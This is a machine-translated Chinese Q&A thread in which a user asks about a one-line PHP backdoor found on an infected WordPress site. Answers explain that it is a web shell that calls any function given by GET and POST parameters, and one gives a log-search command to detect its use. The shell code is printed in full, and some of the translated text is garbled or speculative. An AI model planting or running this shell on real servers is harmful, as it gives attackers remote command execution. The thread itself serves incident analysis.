这行PHP代码有什么作用?

时间:2015-09-25 15:24:40

标签: php spam

我从一个wordpress网站中提取了这个,这个网站恰好被感染并被我清理干净了。

<?php ($_=@$_GET[page]).@$_($_POST[404]);?>

我怀疑这行是SEO垃圾邮件,但我无法理解这一行。

2 个答案:

答案 0 :(得分:9)

这是一个PHP shell。如果你将它重写为URL file.php?2 = shell_exec&amp; 1 = whoami在shell上执行命令whoami。在您的示例中,一个参数通过POST传递,一个通过GET传递。所以打电话有点困难。

你也可以用它调用其他功能。第一个参数始终是函数名,第二个参数是被调用函数的参数。

显然它是在http://h.ackack.net/tiny-php-shell.htmlhttps://twitter.com/dragosr/status/116759108526415872)上解释的,但网站没有为我加载。

/ edit:如果您可以访问服务器日志文件,则可以搜索它们以查看黑客是否使用了此shell。 shell上的一个简单的egrep“(&amp; | \?)2 =。+”logs *应该可以工作。你只能看到执行命令的一半(只有GET,而不是POST),但这可能有助于查看攻击者是否真正使用了他的脚本。

PS:在此之前已经回答了

答案 1 :(得分:3)

让我们稍微分解一下:

($_=@$_GET[page]) . @$_($_POST[404]);首先,这是两个与句点连结的表达式:() . ()

在第一个表达式中,$_ = $_GET[page]$_是一个变量,并被赋予=变量$_GET['page'] ,或者它引用的匿名函数的输出。如果$_GET[page]确实引用了匿名函数,@将会抑制其中的任何错误。

第二个表达式@ $_( $_POST[404] );从匿名函数@的错误抑制$_开始现在可以说是一个被调用的匿名函数,因为它跟着(。传递给此函数的参数是$_POST['404'],然后第二个括号只是关闭调用。

所以我认为你的怀疑是正确的;这看起来像混淆代码,旨在看起来无害或部分网站。我怀疑$_GET[page]$_POST[404]的值可能是javascript字符串,它们在页面上的回显会安装恶意软件或广告软件。

您可以通过查看这两个变量的值并查看它们的含义来进行更多调试。

在不知道GET和POST中的值的情况下,我可以告诉它,看起来变量$_被分配给字符串$_GET[page],这可能是人们在URL中提交的任何内容加载页面。因此,他们能够将任何函数的字符串名称传递给站点,并将其置于PHP的范围内。

然后,他们在$_POST['404']值上运行该任意函数。该值也是浏览器或用户POST到页面的任何值。

连接和外括号().()可能只是更混淆,或者此代码的重点可能是简单地在页面上回显此代码的结果(例如注入javascript)。但是,他们也有可能在他们通过的任何争论中调用他们想要的任何功能。我不能仅仅通过观察来判断,但更熟悉PHP的人可能会这样做。